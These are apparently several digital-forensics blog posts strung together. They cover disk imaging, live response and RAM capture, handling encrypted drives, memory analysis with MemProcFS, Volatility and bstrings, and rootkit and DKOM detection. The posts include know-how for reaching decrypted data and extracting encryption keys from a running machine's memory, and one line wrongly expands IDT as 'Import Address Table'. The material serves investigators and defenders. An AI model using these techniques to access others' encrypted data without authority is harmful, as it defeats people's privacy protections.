highly efficient for Incident Response (IR) cases. You can find my complete article on KAPE acquisition, analysis, and IR cases  on my website, which includes detailed screenshots. Triage vs. Full Imaging: When to Use What? A key forensic question is whether to triage first or perform a full disk image before analysis. The decision depends on time constraints  and urgency . If time is not an issue , creating a full forensic image first is the best practice. This ensures every piece of data is preserved for in-depth analysis. If speed is critical , such as in incident response cases, triaging first  with KAPE allows investigators to gather key forensic artifacts quickly. A balanced approach  involves first running KAPE for rapid data collection and then starting full disk imaging with FTK Imager. This way, analysis can begin while the full image is still being created. How to Balance Speed and Completeness? Use a write blocker  when dealing with original media to prevent accidental modifications. Run KAPE first  to quickly extract key forensic data (~1% of the total data that is most relevant to investigations). Start full imaging with FTK Imager  while simultaneously analyzing the KAPE-collected data. By the time imaging is complete , investigators may already have leads from the extracted artifacts. This win-win approach  ensures rapid initial analysis while maintaining forensic integrity. Final Thoughts Both FTK Imager and KAPE are invaluable forensic tools. FTK Imager provides a complete forensic image, while KAPE allows for fast triage and targeted artifact collection. The right tool depends on the specific case, but combining both strategically helps investigators work efficiently without compromising forensic standards. For a detailed walkthrough of these processes, check out my full documentation on FTK Imager  and KAPE  on my website! ----------------------------------------------Dean--------------------------------------------

Imagine you need to make a perfect copy of everything on a hard drive—not just the files you see, but also hidden system data, partitions, and even deleted files that might still be recoverable. This is where disk imaging  comes in! Whether you’re working in digital forensics, IT, or just want to back up your system. Disk imaging is important What is Disk Imaging? Disk imaging is the process of creating an exact, bit-for-bit copy of a storage device (like a hard drive or SSD) and saving it as a file. Think of it as taking a snapshot of your entire drive , capturing everything from active files to hidden system data. This is different from just copying files, as it preserves the structure and details of the original disk. However, in some cases, creating an exact duplicate isn’t always possible. SSDs (Solid-State Drives)  may not allow precise duplication due to how they handle data storage. Bad sectors  (damaged parts of a hard drive) might prevent some data from being copied, leaving gaps in the image file. How Does Disk Imaging Work? The disk imaging process involves three key components: The Source Drive  – This is the drive you want to copy. A Write Blocker  – A tool that prevents any accidental changes to the source drive while imaging. Imaging Software  – The program that reads the source drive and creates an image file. Choosing the Right Image Format When creating a disk image, you’ll typically save it in one of two formats: E01 (Expert Witness Format)  – The most popular choice because it includes compression, making the file smaller while keeping all the data intact. DD (RAW format)  – A bit-for-bit copy with no compression, meaning it takes up more space but remains a direct replica. Some of the most widely used disk imaging tools include: FTK Imager X-Ways Imager Guymager DD (a classic command-line tool) Steps to Create a Disk Image Connect the source drive  to your computer using a write blocker. Start the imaging software  and select the source drive. Choose a destination location  where the image file will be saved. Select the format  (E01 or DD) based on your needs. Start the imaging process  and wait for completion. Once finished, most imaging software (except DD) generates a log file. This report contains: Drive details (size, sector count, etc.) A hash value  (used to verify data integrity) Any errors, such as unreadable sectors Hardware vs. Software Imaging While the above method uses s oftware-based imaging  (requiring a computer and write blocker), another option is hardware-based imaging . Hardware Imaging Devices A hardware imager is a standalone device that combines the functions of a computer, write blocker, and imaging software in one unit. These devices: Are faster and more efficient for large-scale imaging Minimize errors and risks of accidental modifications Can save images to another hard drive or even a network location (if supported) However, be careful not to mix up the source and destination drives!  Formatting the wrong drive could lead to irreversible data loss. How Long Does Imaging Take? Disk imaging can take several hours, depending on: The size of the drive How much data is stored on it The speed of the connection (USB, SATA, or network transfer) While waiting, many forensic analysts take advantage of this time to review key data  (a process called rapid triage ) , helping to identify important leads before the full image is ready. Live vs. Dead Imaging: What’s the Difference? Live Imaging  – Done while the system is still running. This is useful when you need to capture volatile data like running processes, open network connections, or system logs. Dead Imaging  – Performed after powering down the system. This is the traditional approach and is often used for full disk acquisitions. Why Live Imaging Matters A running system provides valuable forensic insights, such as: What applications are currently running Connected external devices (USBs, external drives, etc.) Potential signs of tampering or malicious activity If the system is off, you won’t get this real-time data. But if it's on, documenting its current state before imaging is crucial. Old vs. Modern Forensic Acquisition Methods In the past, forensic specialists followed a “dead box” approach , where the computer was shut down before data collection. This was because: RAM (temporary memory) was small and not often considered valuable. Encryption was rare, making it easy to access data even after shutting down. However, today’s machines often use encryption and security measures  like TPM (Trusted Platform Module) , making live imaging more important than ever. If you shut down an encrypted device, the data could be permanently locked. How Were Systems Handled in the Past? If it was a regular computer (not a server), forensics experts would unplug it directly. If it was a server, they would shut it down properly  to avoid issues with RAID configurations or system failures. -------------------------------------------------------------------------------------------------------- Live Response When dealing with a running system , the way you collect data can significantly impact an investigation . Unlike a powered-off system, where everything is static, a running machine holds volatile data that can be lost if not captured correctly. Live response is the process of collecting critical data  from a system that is still powered on. This includes memory (RAM), active processes, network connections, and encryption states. U Step 1: Document the System’s Status Before interacting with the machine, it’s essential to document everything : What’s displayed on the screen? Are any applications open? Are there external devices connected? Is the system asleep or in hibernation mode? Many computers may appear off when they are just in sleep mode . A simple press of the spacebar or mouse movement can wake them up. Also, check for indicator lights  on the computer case—these can show that the system is still running. Step 2: Determine the Order of Volatility Volatile data disappears quickly once the system is shut down. This means you need to collect the most fragile information first. The order of volatility  in a forensic investigation is as follows: Dump Memory (RAM)  – This contains running programs, network sessions, user activity, passwords, and even malware that only exists in memory. Check for Encryption  – If encryption is present, shutting down the system could permanently lock the data. Perform Triage Collection  – Extract key artifacts from the live system for quick analysis while the full forensic image is created. Step 3: Dump Memory (RAM) RAM is one of the richest sources of forensic data , but also the most fragile . I f the computer is turned off before capturing RAM, this data is gone forever. 💡 What can be found in RAM? Running processes Open files and directories Network connections Chat conversations Encryption keys Malware that exists only in memory How to Capture RAM? There are several tools available for memory acquisition, with Windows systems  having more options than Macs . Before starting, ensure the system is disconnected from all networks  (Ethernet and Wi-Fi) to prevent remote interference. To capture RAM: ✅ Use a USB drive or external SSD  with forensic tools installed ✅ Store the memory dump on a fast external drive  to speed up the process ✅ Use specialized tools like Volatility  to analyze memory contents later Important Considerations: Mac computers  are more difficult to analyze due to fewer available tools. Laptops should be plugged in  to prevent power loss during acquisition. Be careful with encryption keys —they often exist in RAM and can be retrieved before shutdown. Step 4: Check for Encryption Encryption can be a major roadblock if not handled properly. Many modern computers use full-disk encryption  with tools like: BitLocker (Windows) VeraCrypt PGP Encryption If the system is still running, the encrypted data is often accessible. The best approach is to create a logical volume image  while the machine is still running. This ensures that decrypted data is preserved. 💡 If encryption is present: ✔️ Image the drive before shutting down ✔️ Extract encryption keys from memory (if possible) ✔️ If no encryption is detected, proceed with normal disk imaging Step 5: Perform Triage Collection While waiting for full disk imaging to complete, triage collection  can provide fast insights. Using tools like KAPE , forensic examiners can extract: Browser history User activity logs Recently opened files System logs This allows investigators to identify leads early  without waiting hours for a complete forensic image. Step 6: The Reality of Live Data Collection Interacting with a running system always  leaves some trace. The key is to minimize changes and document everything. 💡 Common mistakes: Shutting the system down too early  and losing RAM data Forgetting to disable network access , allowing remote tampering Using slow USB drives  that take too long to capture memory Why RAM Collection Matters More Than Ever With modern encryption and cloud-based applications, RAM is now more valuable than ever  in forensic investigations. Unlike 15 years ago, when most data was stored on hard drives, today’s machines: ✔️ Have 8GB, 16GB, or even 32GB of RAM (containing a huge amount of data) ✔️ Store passwords, decryption keys, and session data in memory ✔️ Run software that only exists in RAM  (fileless malware) Step 7: Storage and Transfer of Memory Dumps Since memory dumps can be large, choosing the right storage device  is critical. A solid-state external hard drive is the best choice due to high-speed data transfer . Final Step: Document Everything! Since live response actively changes system data , it’s crucial to: 📌 Take photos or videos  of each step 📌 Write detailed notes  on what actions were taken 📌 Record timestamps  for each forensic operation -------------------------------------------------------------------------------------------------------- Live Response Tools When performing live forensics on a running system, one of the biggest challenges is introducing your tools without altering or corrupting evidence . While it may seem simple—just plug in a USB drive and start collecting data—there are several critical factors to consider. Key Questions to Ask Before Deploying Live Response Tools Before introducing any tools into a system, ask yourself: ✅ How much space will I need?  (Memory dumps and disk images can be large.) ✅ How should my external drive be formatted?  (NTFS for Windows, exFAT for cross-compatibility.) ✅ What resources are available?  (Are USB ports, network storage, or optical drives an option?) ✅ Can I trust the software already on the target system?  (Always bring your own trusted binaries.) ✅ Are there any environmental restrictions?  (Some locations, such as government facilities, may restrict USB devices.) ✅ Do I have a backup plan?  (If my primary tool fails, do I have an alternative?) Choosing the Right External Storage Since live forensics often involves capturing large amounts of data (such as RAM dumps or forensic images), using a high-quality external storage device  is crucial. 💡 Best Practices for External Storage Devices: ✔️ Use a large-capacity, high-quality external SSD  for faster read/write speeds. ✔️ Format the drive as NTFS for Windows systems  or exFAT for cross-platform compatibility. ✔️ Always document the details  of the device before use. Tracking USB Devices with NirSoft USBDeview To maintain a proper chain of custody, document the details of your external storage using a tool like NirSoft USBDeview . This allows you to: Record the make, model, and serial number  of your USB device. Include this information in your forensic reports for future reference. Where Should You Store Collected Data? One of the biggest logistical challenges in live response is deciding where to store the collected data . This depends on: The size of the storage device you’re imaging. The amount of memory on the system. The number of devices you need to process. Storage Recommendations: ✅ External SSDs  – The preferred option, but always bring more space than you think you’ll need. I f you estimate needing 1TB , bring 4TB —unexpected extra data is common! ✅ Network Storage (Less Optimal)  – If an external drive isn’t an option, a network share may work, but consider security risks  (who else has access?). ✅ Chain of Custody Considerations  – Keep strict control over the storage device to prevent tampering or unauthorized access . Selecting the Right Live Response Tools Once you have a storage device ready, the next step is choosing and deploying the right tools  for live response. Your toolkit should include: 🔹 Memory collection tools  (e.g., DumpIt, Belkasoft RAM Capturer, FTK Imager) Command Line vs. GUI Tools When performing live forensics, minimizing system impact is critical . Using command-line (CLI) tools  instead of graphical user interface (GUI) tools can help: ✔️ Reduce memory usage ✔️ Minimize system modifications ✔️ Prevent unnecessary process execution Top Memory Collection Tools for Live Forensics 1. DumpIt (by Comae Technologies) Pros: ✅ Simple command-line tool  with minimal system impact ✅ Can be executed without additional arguments for quick memory dumps ✅ Allows file compression to save space Cons: ❌ Compressed files may not be compatible with all memory analysis tools 💡 Usage: To capture memory using DumpIt, simply execute: DumpIt /OUTPUT  If run without arguments, DumpIt will prompt for confirmation before proceeding. The collected memory file will automatically be named with the machine name and timestamp. 2. Belkasoft RAM Capturer Pros: ✅ Minimal GUI interface , reducing system modifications ✅ Uses kernel mode driver  to bypass anti-forensic techniques ✅ Available in 32-bit and 64-bit versions  to minimize unnecessary code execution Cons: ❌ Requires administrator privileges 💡 Usage: Launch Belkasoft RAM Capturer . Select an output folder for the memory dump. Click “Capture!”  to start memory acquisition. 3. FTK Imager Pros: ✅ Well-known forensic tool with wide industry adoption ✅ Can capture both memory and full disk images ✅ Provides verification logs  for integrity checks Cons: ❌ Older versions (pre-3.0.0) operate in user mode , which may limit access to certain memory areas ❌ May not detect advanced malware hiding in kernel memory 💡 Important Note:  If using FTK Imager, update to version 3.0.0 or later  to ensure kernel-level access to all memory areas. Final Considerations: Ensuring a Secure and Effective Live Response 🔹 Plan ahead  – Know the environment and what resources are available. 🔹 Minimize system impact  – Use command-line tools  whenever possible. 🔹 Document everything  – Keep detailed records of every action taken. 🔹 Secure collected data  – Store forensic images and memory dumps on encrypted, controlled-access storage. 🔹 Always have a backup plan  – If one tool fails, be ready with an alternative. -------------------------------------------------------------------------------------------------------- Handling Encrypted Drives Encryption presents a major challenge in digital forensics. While forensic imaging techniques typically allow investigators to access data on a storage device, encryption software like BitLocker, VeraCrypt, and PGP  can make this data completely inaccessible without the proper decryption key . What Happens When a Drive is Encrypted? If encryption is enabled, imaging the physical volume (even with a write blocker) only captures the encrypted data , which is useless without the decryption key. This is especially problematic if the device is turned off because, in many cases, powering down the system can permanently lock the data . 💡 Key Takeaways: ✔️ If encryption is detected, do NOT shut down the system  before performing a live capture. ✔️ If the system is running, logical imaging may allow access to decrypted data. ✔️ Failing to check for encryption before imaging can result in lost evidence. How to Detect Encryption on a Running System To determine whether a system is using encryption, forensic analysts use specialized tools that can scan for encryption signatures . One such tool is Encrypted Disk Detector (EDD)  from Magnet Forensics. 🔍 Using EDD to Identify Encrypted Volumes EDD is a command-line tool  that checks local physical drives for encryption software, including: BitLocker (Windows) VeraCrypt & TrueCrypt PGP® (Pretty Good Privacy) Checkpoint, Sophos, and Symantec encrypted volumes 💡 How EDD Works I have created an complete article on EDD (Do check it out you will learn how to use the tool https://www.cyberengage.org/post/exploring-magnet-encrypted-disk-detector-eddv310 EDD does not  locate encrypted container files that are not mounted, but other forensic tools can assist with that. Handling VeraCrypt and TrueCrypt Encryption VeraCrypt  is the successor to TrueCrypt , and both function similarly: 🔹 Users create an encrypted container  that appears as a mounted drive. 🔹 Files stored inside are inaccessible without a password or keyfile . 🔹 A hidden partition can be created within the primary encrypted volume. Detecting VeraCrypt/TrueCrypt Artifacts If a container is currently mounted , EDD will detect and flag it . However, once unmounted, traces of its existence may be deleted from the system . 💡 Registry Analysis for VeraCrypt/TrueCrypt Older versions of these tools left traces in the Windows Registry  under: HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices Older versions left artifacts even after unmounting . Newer versions delete traces after unmounting  (though remnants may still exist). Pro Tip: Finding Encrypted Containers Since encrypted containers store a large amount of data, they tend to be some of the biggest files on the system . You can identify them by: ✅ Scanning for large, unexplained files  on the system. ✅ Ignoring system files  like pagefile.sys and hiberfil.sys. ✅ Checking recently accessed files  for unusual activity. BitLocker Encryption: Challenges & Solutions BitLocker  is Microsoft’s built-in encryption tool, included with Windows Enterprise, Pro, and Ultimate  editions. 💡 How BitLocker Works: ✔️ Uses AES encryption (128-bit or 256-bit) . ✔️ Can be enabled via Group Policy  (common in corporate environments). ✔️ Requires a password, PIN, or recovery key  to unlock data. The Biggest Forensic Challenge with BitLocker If a BitLocker-encrypted drive is removed from the original computer , the data is completely inaccessible without the recovery key . However, if the system is still running , forensic analysts can bypass encryption  and extract data while it remains unlocked . Two Ways to Handle BitLocker-Protected Drives 🔹 Option 1: Live Logical Imaging If the system is running, image the logical drive instead of the physical disk . This ensures you capture decrypted  data. 🔹 Option 2: Recover BitLocker Keys BitLocker requires users to save a recovery key  to a separate drive or print it. In corporate settings, IT administrators may have stored recovery keys  via Group Policy. Best Practices for Handling Encrypted Systems 🔹 Always check for encryption before shutting down the system. 🔹 If encryption is detected, prioritize live imaging. 🔹 Use tools like EDD to scan for encryption software. 🔹 Look for large container files if encryption is suspected. 🔹 Consult Group Policy settings for corporate BitLocker deployments. -------------------------------------------------------------------------------------------------------- Wrapping Up Digital forensic acquisition is as much about strategy and preparation  as it is about technical execution. Whether capturing volatile memory, imaging a disk, or handling encrypted data, the right approach can mean the difference between retrieving crucial evidence or losing it forever . By following best practices, using trusted tools, and adapting to evolving challenges, forensic investigators can ensure data integrity, accuracy, and reliability  in every case they handle. 🚀 ---------------------------------------------Dean-------------------------------------------

---------------------------------------------------------------------------------------------------- I have already article related to MemProcFS, Bstring, Voaltility3 in depth, Do check those out to learn tool in depth! Link below https://www.cyberengage.org/post/memprocfs-memprocfs-analyzer-comprehensive-analysis-guide Volatility 3 https://www.cyberengage.org/post/step-by-step-guide-to-uncovering-threats-with-volatility-a-beginner-s-memory-forensics-walkthrough Strings/Bstrings https://www.cyberengage.org/post/memory-forensics-using-strings-and-bstrings-a-comprehensive-guide ---------------------------------------------------------------------------------------------------- Today we will discuss kind a comparison lets get started ------------------------------------------------------------------------------------------------------------ When analyzing a system’s memory, you’re often looking for key artifacts like suspicious processes, DLLs, drivers, or even cached files. These could be crucial for forensic investigations, malware analysis, or troubleshooting. With MemProcFS, extracting these objects becomes incredibly simple—just like browsing files in a regular folder ------------------------------------------------------------------------------------------------------------ MemProcFS Why Extract Memory Objects? Think of RAM as a goldmine of real-time data. Anything that has happened on a system—running programs, opened documents, registry changes, and even deleted files—can still be floating around in memory. If you know where to look, you can extract critical pieces of evidence, such as: Running processes and their memory sections Loaded DLLs and executables Cached documents and registry hives The NTFS Master File Table (which contains a list of all files on disk) Active Windows services With MemProcFS, all of these objects can be accessed like regular files, making extraction quick and hassle-free. ------------------------------------------------------------------------------------------------------------ Navigating Memory Objects in MemProcFS MemProcFS organizes memory data in a virtual folder structure, making it intuitive to browse and extract files. Here’s how you can locate key objects: Processes and Memory Sections You can find process-related data under: M:\name\powershell.exe-5352\ (organized by process name) M:\pid\7164\ (organized by process ID) These folders contain everything from heaps and memory dumps to loaded DLLs. DLLs and Executables The modules folder holds DLLs and executables loaded into memory. Each DLL or executable is stored as pefile.dll, allowing you to extract and analyze it. Tracking Memory Sections The vmemd folder helps you track specific memory regions linked to suspicious activities. The heaps folder is useful for f inding private memory allocations, where processes store sensitive data. The minidump folder provides a snapshot of process memory, including both code and data. Drivers and System Modules Most kernel drivers can be found under the System process folder (M:\pid\4\modules\). Some graphics drivers (Win32k) reside in the CSRSS.exe process, though they’re rarely useful for most investigations. ------------------------------------------------------------------------------------------------------------ Extracting and Analyzing Memory Objects MemProcFS makes extraction as simple as copying a file. You can: Open memory sections in a hex editor for low-level analysis. Extract strings from executables to identify potential malware behavior. Upload a suspicious DLL or EXE to VirusTotal  for threat intelligence. Open DLLs in a disassembler  to inspect their functionality. Run an antivirus scan —though it’s best to copy the file first, as security tools may quarantine it. Pro Tip:  If a tool fails to open a virtual file, try copying it to a local folder first. ------------------------------------------------------------------------------------------------------------ Handling Terminated Processes Not seeing a process under M:\name or M:\pid? It might have exited before you started your analysis. By default, MemProcFS doesn’t display terminated processes since their memory can be incomplete or corrupted. However, you can enable this feature by modifying: M:/config/config_process_show_terminated.txt Change the value to 1, and MemProcFS will attempt to reconstruct folders for terminated processes. ------------------------------------------------------------------------------------------------------------ Volatility3 You might be wondering why the dedicated dumping plugins disappeared in Volatility 3. The truth is—they haven't! The functionality is still there; it's just been integrated into the standard plugins with an additional --dump option. Key Changes in Volatility 3 The --dump option:  If a plugin supports dumping memory objects, you'll see this option in the plugin help. Output folder (-o) parameter:  This replaces Volatility 2’s --dump-dir= and is crucial when extracting drivers, DLLs, and other artifacts to keep things organized. Parameter Order Matters:  Unlike Volatility 2, where things were more flexible , Volatility 3 requires -o to come before  the plugin, while plugin-specific options like --pid and --dump come after . Extracting Executables To extract suspicious processes from memory, use the windows.pslist --dump plugin. By default, it dumps all  processes in the EPROCESS list, but you can narrow it down using --pid. Commands: python3 vol.py -f memory.img -o output-folder windows.pslist --dump For terminated or unlinked processes, use windows.psscan --dump, which replaces the old procdump plugin in Volatility 2. Extracting DLLs If you need to pull DLLs from memory, windows.dlllist --dump is your go-to plugin. It extracts all DLLs by default, but filtering by --pid is a good practice to avoid unnecessary files. Commands: python3 vol.py -f memory.img -o output-folder windows.dlllist --pid 1040 --dump The equivalent Volatility 2 plugin was dlldump. Extracting Drivers When analyzing potentially malicious drivers, use windows.modules --dump. If you need to go deeper and retrieve unloaded or unlinked drivers, windows.modscan --dump is the way to go. Commands: python3 vol.py -f memory.img -o output-folder windows.modules --dump In Volatility 2, this was handled by moddump. Important Notes: No Guarantees on Data Availability:  Some memory objects might be paged out, making extraction incomplete. Including Page Files Helps:  If possible, analyze the page file to recover missing artifacts. Process Memory Extraction Dumping process memory is trickier than extracting files. Process memory contains both code  (executable sections) and data  (buffers, command-line inputs, PowerShell scripts, etc.). Tools for Dumping Process Memory: windows.pslist --dump: Extracts executable code, similar to Volatility 2’s procdump. windows.memmap --dump: Dumps all memory-resident pages, capturing both code and data  (like Volatility 2’s memdump). MemProcFS:  Creates a pefile.dll representing the executable part of a process and a minidump.dmp file containing key process memory sections. ------------------------------------------------------------------------------------------------------------ Strings/Bstrings Searching for Artifacts in Memory Dumps One of the most effective forensic techniques is string searching , which helps identify artifacts like IP addresses, domains, malware commands, and user credentials. Here’s how to do it: Using strings (Linux) strings -a -t d memory.img > strings.txt strings -a -t d -e l memory.img >> strings.txt sort strings.txt > sorted_strings.txt Using grep (for targeted searches) grep -i "search_term" sorted_strings.txt Using bstrings.exe (Windows/Linux) Eric Zimmerman's bstrings is a great alternative that extracts ASCII and Unicode strings simultaneously and even performs initial searches. Commands: bstrings -f memory.img -m 8 # Extracts strings of length 8+ bstrings -f memory.img --ls search_term # Searches for a specific term bstrings -f memory.img --lr ipv4 (use a regex to find IP version 4 addresses) ------------------------------------------------------------------------------------------------------------ MemProcFS vs. Volatility While MemProcFS makes memory analysis incredibly convenient, it’s not a one-size-fits-all solution. Volatility  is another powerful tool that provides more in-depth forensic capabilities, such as: Advanced memory carving techniques More detailed malware analysis Reconstruction of deleted or hidden processes For best results, combine both tools—use MemProcFS for quick and easy extraction, and Volatility for deeper analysis. ------------------------------------------------------------------------------------------------------------ Wrapping Up Memory forensics can be overwhelming, but tools like MemProcFS simplify the process. By treating memory like a file system, it allows you to quickly extract key artifacts, analyze suspicious activity, and uncover critical forensic evidence. Whether you’re investigating malware, troubleshooting system crashes, or performing digital forensics, MemProcFS gives you the power to dig deep into memory with ease. ---------------------------------------------Dean----------------------------------------------

Security improvements have made kernel rootkit techniques like (Import Address Table) IDT and SSDT hooks much harder for attackers to pull off. So, they’ve started looking for new ways—or sometimes, going back to old ones. One such method is userland hooking, which works in user mode instead of the kernel. That makes it less powerful but also harder to detect because legitimate applications use similar techniques all the time. What Are Userland Hooks? Userland hooks are ways for malware (or legit software) to intercept function calls in a program. Here are the two main types: Import Address Table (IAT) Hooks : This is a simple trick where malware changes a function’s address in a process’s IAT, redirecting it to malicious code. Inline/Trampoline Hooks : These modify the actual function code by inserting a jump instruction that leads to malware instead . These hooks are sneaky because they don’t mess with the IAT directly and only modify the function in memory. For attackers, userland hooks are useful because they let them manipulate programs without triggering deep security defenses. Plus, they don’t have to mess with the kernel, where modern security tools are always watching. Detecting Malicious Hooks Using tools like Volatility’s apihooks plugin , you can find these hooks. But be warned—tons of legit software also use hooks, so you’ll need to separate the suspicious ones from the normal ones. Some safe DLLs that are known to hook functions include: • setupapi.dll • mswsock.dll • sfc_os.dll • adsldpc.dll • advapi32.dll • secur32.dll • ws2_32.dll • iphlpapi.dll • ntdll.dll • kernel32.dll • user32.dll • gdi32.dll Knowing which DLLs are commonly used by legitimate applications helps filter out false positives. ------------------------------------------------------------------------------------------------------------- Digging Deeper with Driver Analysis Malware often loads drivers  to maintain deeper access to the system. Rootkits, in particular, use drivers to hide malicious activity. The Volatility modules plugin  helps list loaded drivers, while modscan  scans memory for additional, possibly hidden drivers . These tools help you spot suspicious drivers, even if they’ve been unlinked from active memory structures. --------------------------------------------------------------------------------------------------------------- You know identifying malicious drivers can be tricky—there are too many of them, and most analysts aren’t familiar with what should or shouldn’t be present. To make thing easy for us I will use tool called Memory Baseliner I have created an complete article related to Memory baseliner. https://www.cyberengage.org/post/baseline-analysis-in-memory-forensics-a-practical-guide Now I will not explain what is this tool and what this tool. Check out the link above. Finding Suspicious Drivers In this case, I used Memory Baseliner with the --showknown and --imphash options. Here’s why: --showknown displays both known (baseline) and unknown (new) drivers. --imphash calculates the import hash of drivers, making it easier to spot changes between versions. A close-matching baseline image usually means only a handful of new drivers will appear. Focus on those first, especially ones outside the usual \Windows\System32\Drivers and \Windows\System32 directories. --------------------------------------------------------------------------------------------------------------- As an investigator, your job is to identify what’s normal and what’s suspicious. Tools like Volatility’s apihooks, modules, modscan, and moddump  are great for uncovering these threats. Remember: Just because something is hooked doesn’t mean it’s bad. Look for unknown modules or drivers in memory. Compare findings with clean systems to reduce false positives. --------------------------------------------------------------------------------------------------------------- Rootkits: A Rare but Serious Threat Rootkits are designed to hide processes, files, registry keys, and network artifacts. They aren’t as common as code injection, but they’re harder to detect. Volatility 2 has some of the best memory analysis plugins for detecting rootkits by identifying process hooking and unlinking. But here’s the challenge: Many legitimate applications (like antivirus tools) use hooking too. Only a tiny percentage of malware actually use rootkits. Because of this, rootkit detection isn’t the first step in memory analysis. Instead, analysts typically discover them through: Suspicious processes Unexpected network connections Unknown drivers By the time you’re hunting for a rootkit, you’ve probably already found other indicators of compromise. The goal at this stage is to gather more evidence to understand the attack. ------------------------------------------------------------------------------------------------------------- Wrapping Up Memory Baseliner is a powerful tool for reducing the noise in memory analysis and quickly identifying unknown drivers. As attackers continue to exploit vulnerabilities in drivers, security teams must stay ahead by integrating tools like Volatility, and Memory Baseliner into their workflows. Keep hunting, keep learning, and most importantly—stay curious! ----------------------------------------------------------Dean-------------------------------------------

Rootkits have been keeping cybersecurity pros up at night for years. These sneaky pieces of malware can hide deep inside a system, making their presence nearly impossible to detect using regular security tools. They can mask processes, files, registry entries, and even network connections, making incident response a real headache. So, what exactly is a rootkit? Think of it like a magician’s trick—it diverts attention and manipulates what you see. A rootkit alters the system’s usual flow, rerouting commands and data to conceal itself. In some cases, rootkits can give attackers full control over a system while remaining completely invisible. This is why traditional antivirus tools often fail against them. ----------------------------------------------------------------------------------------------------------- How Do You Detect Rootkits? Since rootkits are built to hide, finding them requires an approach beyond standard security tools. The best way to detect them is through memory analysis and offline disk forensics . Every action a rootkit takes—executing code, establishing network connections, or installing drivers—leaves some trace. The key is knowing where to look. The Evolution of Rootkits Rootkits have evolved over time, moving from basic techniques to highly sophisticated methods: Userland Rootkits  – These operate in the user space, where regular applications run. They modify processes by hooking the Import Address Table (IAT)  or patching code in memory to redirect execution. These are easier to detect but still effective at avoiding basic security tools. Kernel Rootkits  – These are much more dangerous. They manipulate core system structures like the Interrupt Descriptor Table (IDT), System Service Descriptor Table (SSDT), and IRP (I/O Request Packets)  to stay hidden . Since they work at the kernel level, they are harder to detect and remove. Microsoft has implemented security measures like PatchGuard  and Driver Signature Enforcement  to counter them. Bootkits  – These take things to the next level by attacking the system before the operating system even loads. A bootkit can completely take over a system by running it inside a malicious hypervisor, similar to old-school Master Boot Record (MBR) attacks , but with modern complexity. Firmware and Hardware Rootkits  – These are the latest breed and the hardest to remove. They embed themselves in system firmware, meaning they persist even after formatting the disk or reinstalling the OS. The good news? They’re still rare, but as cybersecurity defenses improve, attackers are shifting toward these more advanced techniques. ------------------------------------------------------------------------------------------------------------- How to Detect and Remove Rootkits Since rootkits are masters of deception, you need specialized tools to uncover them. Volatility , a popular memory forensics tool, offers several plugins to detect different types of rootkit activity: apihooks  – Identifies userland hooks in the IAT and inline functions. idt, ssdt, and driverirp  – Audits kernel structures commonly targeted by rootkits. psxview  – Cross-checks process listings from multiple sources to find hidden processes. modules and modscan  – Identifies suspicious kernel modules and drivers. Plugins in Volatility 3: ssdt : Supported as windows.ssdt.SSDT. driverirp : Supported as windows.driverirp.DriverIrp. psxview : Supported as windows.psxview.PsXView. modules : Supported as windows.modules.Modules. modscan : Supported as windows.modscan.ModScan. ---------------------------------------------------------------------------------------------------------------- By understanding classic rootkit detection methods, security analysts can better prepare for emerging threats. And who knows? With the right skills, you might just be the one to discover a brand-new rootkit in the wild! ---------------------------------------------------------------------------------------------------------------- Understanding Direct Kernel Object Manipulation (DKOM) in the Real World Direct Kernel Object Manipulation (DKOM) is one of the stealthiest techniques used by rootkits to hide malicious activity in an operating system. Think of it as a hacker sneaking into a party and removing their name from the guest list , yet still roaming around unnoticed. What is DKOM? As the name suggests, DKOM allows malware to tamper with kernel objects directly in memory. These changes never touch the disk, making detection incredibly difficult. Since traditional security tools rely on standard kernel structures to track processes and drivers, any tampering with these structures can cause certain activities to become invisible to these tools. How DKOM Works One of the most common ways DKOM is used is by unlinking processes from the standard kernel process list . For instance, let's say a malicious process called attacker.exe is running. Normally, tools like tasklist.exe, Sysinternals’ pslist.exe, or even forensic tools like Volatility’s pslist would be able to detect it. But if an attacker uses DKOM to remove attacker.exe from the process list, it will still run, but most system monitoring tools will fail to see it. To put it simply, DKOM exploits how the system keeps track of running processes and drivers, removing malicious ones from standard monitoring methods without actually stopping them. ---------------------------------------------------------------------------------------------------------------- Detecting DKOM with Volatility’s psxview Even though DKOM is designed to be stealthy, it’s not completely undetectable. Volatility’s psxview plugin is one of the best tools to catch DKOM-based process hiding . Instead of relying on just one method to list processes, psxview cross-checks multiple sources to identify discrepancies . akashpatel@Akash-Laptop:~/Memorytool/volatility3$ python3 vol.py -f /mnt/c/Users/Akash\'s/Downloads/solarmarker/solarmarker.img windows.psxview -R > /mnt/c/Users/Akash\'s/Downloads/psxr.txt Here’s how: pslist  – Reads the EPROCESS doubly linked list (standard process tracking method). psscan  – Scans the entire memory for EPROCESS structures. thrdproc  – Looks at all running threads and maps them to processes. pspcid  – Uses the PspCid table, another kernel object tracking processes. csrss  – Uses Windows’ csrss.exe process to track child processes. session  – Lists processes based on user login sessions. deskthrd  – Checks desktop-associated threads for process tracking. The psxview output gives a “True” or “False” indication for each of these checks. If a process is missing from pslist but appears in other sources like psscan, it’s a red flag that something is trying to hide. ------------------------------------------------------------------------------------------------------------- You Might ask me question Dean. If psscan can find hidden processes, why bother with psxview? Well Because comparison is key! A process appearing in low-level scans but missing from high-level system calls suggests manipulation. Without this comparison, a hidden process might look like any other legitimate one. ------------------------------------------------------------------------------------------------------------- We will talk more about rootkit and detection in up-coming articles so stay connected.Happy hunting see you in next one ---------------------------------------------------------------------------------------------------------- Final Thoughts DKOM remains one of the most effective ways malware hides in a system, and while modern security features help mitigate its impact, it’s still a viable attack technique in many environments. Using tools like psxview in Volatility provides a solid method for uncovering hidden processes and detecting rootkits in memory. The key takeaway? If something doesn’t show up where it should, dig deeper! ----------------------------------------Dean----------------------------------------------------

